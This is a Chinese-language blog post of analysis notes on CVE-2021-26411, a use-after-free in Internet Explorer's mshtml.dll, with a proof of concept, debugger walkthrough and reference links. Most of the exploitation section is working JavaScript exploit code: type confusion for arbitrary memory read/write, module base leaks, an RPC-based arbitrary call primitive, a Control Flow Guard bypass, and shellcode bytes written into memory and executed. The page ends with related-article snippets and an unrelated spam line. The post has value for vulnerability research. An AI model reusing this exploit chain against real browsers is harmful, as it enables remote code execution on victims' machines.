<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-26411漏洞分析筆記

    一顆小胡椒2022-03-16 16:17:09

    漏洞信息

    CVE-2021-26411 該漏洞存在于iexplore.exe mshtml.dll模塊,在JS9引擎處理dom對象時,由于未對nodevalue對象的有效性做判斷,所導致的UAF漏洞,該漏洞可實現RCE。

    漏洞分析

    漏洞poc

    poc比較簡單,首先創建了一個element。創建了2個Attribute屬性。

    聲明了一個對象obj,將obj的valueof函數進行了重載,重載后的函數會清空element的所有屬性。attr1賦值obj,attr2賦值123,然后將將這兩個屬性賦值于element。

    最后清除element的attr1屬性。

    </span></code><code><span class="code-snippet_outer">var element = document.createElement('xxx');</span></code><code><span class="code-snippet_outer">var attr1 = document.createAttribute('yyy');</span></code><code><span class="code-snippet_outer">var attr2 = document.createAttribute('zzz');</span></code><code><span class="code-snippet_outer"><br></span></code><code><span class="code-snippet_outer">var obj = {};</span></code><code><span class="code-snippet_outer">obj.valueOf = function() {</span></code><code><span class="code-snippet_outer">        element.clearAttributes();   </span></code><code><span class="code-snippet_outer">        return 0x1337;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br></span></code><code><span class="code-snippet_outer">attr1.nodeValue = obj;</span></code><code><span class="code-snippet_outer">attr2.nodeValue = 123;</span></code><code><span class="code-snippet_outer">element.setAttributeNode(attr1);</span></code><code><span class="code-snippet_outer">element.setAttributeNode(attr2);</span></code><code><span class="code-snippet_outer">element.removeAttributeNode(attr1);</span></code><code><span class="code-snippet_outer">
    

    通過poc來看,最有可能產生uaf的代碼可能是,obj.valueof重載后的回調函數,和最后element清除attr1屬性的操作。但是并不確定obj.valueof()何時會被調用,代碼中沒有直接調用。

    開始進行調試,程序會中斷于此處,edx是CAttrArray,此處為空,在取偏移為0xC的值時,引發了空指針異常。

    通過調用堆棧來看,程序會通過CElement::ie9_removeAttrubuteNode->ie9_removeAttributeNodeInternal->CattrArray::Destroy函數調用清除attr1。

    element.removeAttributeNode(attr1);
    

    下面對CElement::ie9_removeAttributeNodeInternal函數進行分析。

    當前CElement對象:

    首先會調用函數查找需要移除的Attr對象在CAttrArray中的索引。

    在CBase::FindAAIndexNS中可知CElement+0x10位置是CAttrArray數組,在數組中CAttrArray+8位置,可以看到數組。

    這個數組中存儲了Attributre和nodevalue對象。poc中所創建的obj應是索引1處的0x165780C4,為nodevalue1,索引3處為nodevalue2,value值的0x7b=123。

    CBase::FindAAIndexNS函數返回值為2,因為刪除的元素是attr1,可知索引2處是attr1的對象,索引4為attr2的對象。

    然后程序再次調用該函數獲取nodevalue對象索引,此時返回1。

    接著會調用函數CBase::GetInfoBSTRat傳入node_value對象索引,獲取node_value值,并轉換為BSTR字符串。

    在這個函數中獲取node_value的操作會觸發valueof函數的回調,會調用重載后的函數,執行"element.ClearAttribute();"的操作。

    而后執行函數刪除CBase::DeleteAt刪除索引2處attr對象。

    當前CAttrArray布局,可以看到CAttrArray由于被清空,attr和node_value元素均已被最后一個對象覆蓋。

    而后再次執行函數CBase::FindAIndexNS獲取node_value索引,此時由于CAttrArray被清空,已經獲取不到了,此時返回-1,隨后調用DeleteAt刪除node_value,但是前面獲取的node_value索引是-1。

     

    傳入索引為-1時,會觸發異常將CAttrArray置為null,在CAttrArray::Destroy函數獲取成員變量時觸發空指針異常。

    由于在ClearAttributes();函數執行時,CAttrArray數組中會通過最后一個對象進行覆蓋操作,并且在后面第一次執行CBase::DeleteAt中會進行取值。

    所以可以通過創建BSTR字符串,賦值給最后一個nodevalue,在SysFreeString時進行觸發釋放重引用。

    修改后poc如下:

    </span></code><code><span class="code-snippet_outer">    var element = document.createElement('a');</span></code><code><span class="code-snippet_outer">    var attr1 = document.createAttribute('b');</span></code><code><span class="code-snippet_outer">    var attr2 = document.createAttribute("c");</span></code><code><span class="code-snippet_outer">    var hd2;</span></code><code><span class="code-snippet_outer">    var obj = {};</span></code><code><span class="code-snippet_outer">    obj.valueOf = function () {</span></code><code><span class="code-snippet_outer">        element.clearAttributes();</span></code><code><span class="code-snippet_outer">        return 0x1337;</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer">    attr1.nodeValue = obj;</span></code><code><span class="code-snippet_outer">    element.setAttributeNode(attr1);</span></code><code><span class="code-snippet_outer">    element.setAttribute("d", Array(0x10000).join('A'));</span></code><code><span class="code-snippet_outer">    element.removeAttributeNode(attr1);</span></code><code><span class="code-snippet_outer">
    

    當前Array:

    執行完ClearAttributes后,CAttrArray被覆蓋,并且node_value的BSTR字符串已經被釋放。

    BSTR內存空間被釋放:

    第一次DeleteAt時,nodevalue中BSTR字符串內存空間被釋放重引用,所以該漏洞本質是一個UAF類型的漏洞。

    漏洞利用

    漏洞的利用方式是通過兩個指針指向該nodevalue內存,進行類型混淆,通過讀寫這塊內存構造出一個起始地址為0,長度為0xffffffff的ArrayBuffer,然后解析為DataView,實現任意地址的讀寫。

    而后通過構造RPC_MESSAGE調用NdrServerCall進行任意系統函數的調用,覆蓋rpcrt4.dll系統調用為KiFastSystemCalRetl關閉rpcrt4.dll的CFG保護,然后進行任意函數的跳轉,執行shellcode。

    在第二次DeleteAt時,,FindAAIndexNS返回索引為-1,而導致在函數中主動觸發異常使CAttray被置空,所以需要繞過異常。

    可以在ClearAttributes后,再將attribute set回去,同時在ClearAttributes釋放內存后,hd2.nodevalue使用大小為0x20010的dataview對象占用這塊內存空間。

    att.nodeValue = {           valueOf: function () {               hd1.nodeValue = (new alloc1()).nodeValue               ele.clearAttributes()               //重引用被釋放的內存               hd2 = hd1.cloneNode()               //繞過異常               ele.setAttribute('attribute', 1337)           }       }
    function alloc1() {    var view = new DataView(abf)    var str = ''    for (var i = 4; i < abf.byteLength - 2; i += 2)        str += '%u' + pad0(view.getUint16(i, true).toString(16))    var result = document.createAttribute('alloc')    result.nodeValue = unescape(str)    return result}
    

    然后在removeAttribute時進行二次釋放,然后使用一個dict對象再次占用這塊內存。

    這樣做的目的是進行類型混淆,通過hd2.nodevalue讀取和修改hd0.nodevalue內存。

    function alloc2() {           // 創建字典對象           var dic1 = new ActiveXObject('Scripting.Dictionary')           var dic2 = new ActiveXObject('Scripting.Dictionary')           dic2.add(0, 1)           dic1.add(0, dic2.items())           dic1.add(1, fake)           dic1.add(2, arr)           for (i = 3; i < 0x20010 / 0x10; ++i)               dic1.add(i, 0x12341234)           return dic1.items()       } var alloc = alloc2() // 觸發valueof函數回調 ele.removeAttributeNode(att) //再次重引用removeAttributeNode后被釋放的內存 hd0.nodeValue = alloc //通過hd2.nodevalue讀取重用后hd0.nodevalue內存 var leak = new Uint32Array(dump(hd2.nodeValue)) //fake var pAbf = leak[6] //arr[]地址 var pArr = leak[10];
    1:023:x86> dd 0c0b88900c0b8890  00000000 00000000 098202b8 00000000 dict2.items();0c0b88a0  00000009 00000000 09dcdec4 00000000 fakeBuf ArrayBuffer(0x100)0c0b88b0  00000009 00000000 09dcdf04 00000000 arr  [{}]0c0b88c0  00000003 00000000 12341234 000000000c0b88d0  00000003 00000000 12341234 000000000c0b88e0  00000003 00000000 12341234 000000000c0b88f0  00000003 00000000 12341234 000000000c0b8900  00000003 00000000 12341234 00000000
    

    然后取出fakeBuf的地址,并刷新nodevalue的內存寫入前40個字節地址。

    function flush() {            hd1.nodeValue = (new alloc1()).nodeValue            hd2.nodeValue = 0            hd2 = hd1.cloneNode()        }var VT_I4 = 0x3;var VT_DISPATCH = 0x9;var VT_BYREF = 0x4000;var bufArr = new Array(0x10);var fakeArr = new Uint32Array(fake);for (var i = 0; i < 0x10; i++) {     setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4));}flush();
    

    再次將這些內存地址讀取至bufArr[i]中,取出fakeBuf屬性:

    ref = new VBArray(hd0.nodeValue);for (var i = 0; i < 0x10; i++) {    bufArr[i] = ref.getItem(i + 1);}ref = null;setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]));setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04));setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c));flush();
    

    Int32Array,ArrayBuffer內存結構參考,64位下有所差別。

    Struct Int32Array     allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    DOWRD var_5;    DOWRD var_6;    DOWRD size;            //條目的個數,字節數等于這項的值*4    void* pTypeArrayData;  //Arraybuffer Data    void* pArrayBuffer;   //Arraybuffer Object    DWORD var_10;    DWORD var_11;    DWORD var_12;}Struct ArrayBuffer      allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    void* pTypeArrayData;       //Arraybuffer Data    DWORD size;                 //array bytes    DWORD var_10;    DWORD var_11;}
    

    這里對ArrayBuffer做了封裝,外層是JavaScriptDispatch對象。

    ArrayBuffer_data由于前面通過下面這條代碼進行初始化,所以其中存儲的是Array對象,也是后面要進行偽造的ArrayBuffer對象。

    var fake = new ArrayBuffer(0x100);var fakeArr = new Uint32Array(fake);
    

    刷新后,0f0 0f4 10c位置對應著fakebuf的屬性。

    然后通過前面申請的指向fakeBuf的fakeArray對象偽造出一份起始地址為0x0,長度為0xffffffff的ArrayBuffer對象,將bufArr中屬性寫入fakeArr,并將fake的ArrayBuf虛表指針地址fakeArr[4]位置。

    將fake的一些屬性進行替換,并將長度修改為0xffffffff,然后將構造好的ArrayBuffer寫入node_value中。

    ref = new VBArray(hd0.nodeValue);      var vt = ref.getItem(1);      var gc = ref.getItem(2);      var bs = ref.getItem(3);      ref = null;      for (var i = 0; i < 16; ++i) {          fakeArr[i] = bufArr[i];      }      fakeArr[4] = bs + 0x40;      fakeArr[16] = vt;      fakeArr[17] = gc;      fakeArr[24] = 0xffffffff;      setData(1, new Data(VT_DISPATCH, bs));      flush();
    

    然后將這個ArrayBuffer解析為dataview對象,就可以實現任意地址讀寫。然后通過將對象存儲至arr[{}],并讀取pArr值,實現任意對象地址的讀取。

    function addrOf(obj) {           arr[0] = obj           return read(pArr, 32)       }write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
    

    通過任意地址讀寫泄露模塊的基址,通過PE文件結構獲取一些函數地址。

    var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
    

    而后創建了一個Attribute對象xyz,并覆蓋其函數normalize(),修改為NdrServerCall2。

    var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    

    RPC_MESSAGE結構,由圖中可以看出Handle存放了一個OSF_SCALL虛表指針,Buffer位置存放了遠程調用中函數的傳參,RpcInterfaceInformation存放了函數接口信息,通過幾個結構體包裝了函數的信息,最終會指向的是函數的指針,然后最終通過NdrServerCall2進行調用。

    NdrServerCall2接收參數RPC_MESSAGE,內部會調用NdrStubCall2函數。

    內部在獲取RPC_MESSAGE后會對函數偏移進行一些計算,以及參數做一些處理,然后進行函數調用。

    第一個值Handle是OSF_SCALL 虛表指針,通過查看其引用,可以通過調用函數I_RpcTransServerNewConnection函數獲取到這個虛表指針填充至handle。

    exp中也是這樣進行構造的。

    function aos() {          var baseObj = createBase()          var addr = baseObj.addr + baseObj.size          var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')          prepareCall(addr, I_RpcTransServerNewConnection)          return read(read(call(addr) - 0xf8, 32), 32)      }
    

    然后對RPC結構進行初始化:

    function initRpc() {           var data = [50, 72, 0, 0, 0, 0, 0, 0, 52, 0, 192, 0, 16, 0, 68, 13, 10, 1, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 9, 0, 72, 0, 4, 0, 9, 0, 72, 0, 8, 0, 9, 0, 72, 0, 12, 0, 9, 0, 72, 0, 16, 0, 9, 0, 72, 0, 20, 0, 9, 0, 72, 0, 24, 0, 9, 0, 72, 0, 28, 0, 9, 0, 72, 0, 32, 0, 9, 0, 72, 0, 36, 0, 9, 0, 72, 0, 40, 0, 9, 0, 72, 0, 44, 0, 9, 0, 112, 0, 48, 0, 9, 0, 0]           var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')           var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')           var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')           var RPCMessageObject = createArrayBuffer(cbase.size())           var buffer = createArrayBuffer(0x100)           var buffer2 = createArrayBuffer(0x200)           var AttributeVtable = read(patt, 32)           var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)           var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())           var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())           var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())           var rpcProcStringBuffer = createArrayBuffer(data.length)           writeData(rpcProcStringBuffer, data)           var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())           var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())           var NdrServerCall2Buffer = createArrayBuffer(4)           write(NdrServerCall2Buffer, NdrServerCall2, 32)           write(MSHTMLSymbolBuffer, osf_vft, 32)           write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)           write(MSHTMLSymbolBuffer + 8, 0x40, 32)           cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))           cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))           cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)           cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)           write(RPCMessageObject + 76, 1, 32)           syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)           _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)           return RPCMessageObject       }
    

    通過覆蓋rpcrt4_guard_check_icall_fptr中保存的函數指針,修改為KiFastSystemCallRet關閉CFG保護,使其可以跳轉到shellcode。

    function killCfg(addr) {      var cfgobj = new CFGObject(addr)      if (!cfgobj.getCFGValue()) return      var guard_check_icall_fptr_address = cfgobj.getCFGAddress()      var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')      var tmpBuffer = createArrayBuffer(4)      // 修改RPCRT4!__guard_check_icall_fptr的屬性為PAGE_EXECUTE_READWRITE      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])      // 替換rpcrt4!__guard_check_icall_fptr保存的指針,修改ntdll!LdrpValidateUserCallTarget為改為ntdll!KiFastSystemCallRet      // 關閉rpcrt4的CFG檢查      write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)      // 恢復PRCRT4!__gurad_check_icall_fptr內存屬性      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])      map.delete(tmpBuffer)  }
    

    執行shellcode:

             var shellcode = new Uint8Array([ 0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75,0x05, 0x95, 0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD,0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE,0x06, 0x3A, 0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24,0x1C, 0x75, 0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03,0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9,0x33, 0xDB, 0x53, 0x68, 0x65, 0x64, 0x7E, 0x7E, 0x68, 0x68, 0x61, 0x63, 0x6B, 0x8B, 0xC4, 0x53,0x50, 0x50, 0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x0C, 0x0D, 0xCC, 0x04, 0x00, 0x0B,0x0A, 0x0A, 0xCA, 0x02, 0xAD, 0x0B, 0x0A, 0x0A, 0x0E, 0x0D, 0x00, 0x01, 0x50, 0x00, 0x0A, 0x0B,0xFF, 0x0E, 0x0C, 0xEA, 0xEA, 0x0A, 0x0B, 0xFF, 0x0E, 0x04, 0xCA, 0x02, 0x0A, 0xEC, 0x0E, 0x0C,0xDE, 0x0E, 0x04, 0x0B, 0xFF, 0x0E, 0xED, 0x0A, 0x0A, 0x0E, 0x0C, 0xDE, 0xCA, 0x02, 0x0A, 0xEC,0x0E, 0x0C, 0xDE, 0x0E, 0xEA, 0x0D, 0x0B, 0xFF, 0x0E, 0x32, 0x0B, 0xFF, 0x0E, 0x0A, 0x0E, 0xCA,0x02 ])    var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000    var tmpBuffer = createArrayBuffer(4)    call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])    writeData(msi, shellcode) // mov eax, 0x1337 ; ret    call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])    var result = call2(msi, [])
    

    參考鏈接:

    https://enki.co.kr/blog/2021/02/04/ie_0day.html 

    https://ha.cker.in/index.php/Article/17190

    https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html

    https://paper.seebug.org/1579/

    函數調用arraybuffer
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    由此可以推測,之前找到的main.node,可能就是解密模塊。此時找到了AES的算法常量,前兩個是重復的,可能是插件問題。只能去問度娘了,搜索一下AES加密解密原理與 C 實現代碼。
    漏洞信息CVE-2021-26411 該漏洞存在于iexplore.exe mshtml.dll模塊,在JS9引擎處理dom對象時,由于未對nodevalue對象的有效性做判斷,所導致的UAF漏洞,該漏洞可實現RCE。
    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
    1 摘要上一篇文章中,Builtin作為先導知識,我們做了宏觀概括和介紹。Builtin是編譯好的內置代碼塊,存儲在snapshot_blob.bin文件中,V8啟動時以反序列化方式加載,運行時可以直接調用。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    結構&拷貝與引用
    2023-05-10 11:27:04
    結構&拷貝與引用開始之前,我們約定數據塊也叫插槽,也就是storage。storage是永久存儲在區塊鏈上的地方。Stack 的最大深度為 1024 個元素,支持 256 位的字長。結構當定義局部變量時,它存儲在內存中,然后壓入堆棧以執行。1024棧深簡介EVM不是寄存器機而是堆棧機,所以所有的計算都在稱為堆棧的數據區域上進行。1024 是一個非常保守的值,以盡可能安全EVM 的設計方式往往會使更大的堆棧變得無用。EVM 只能訪問堆棧中前16個slot。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类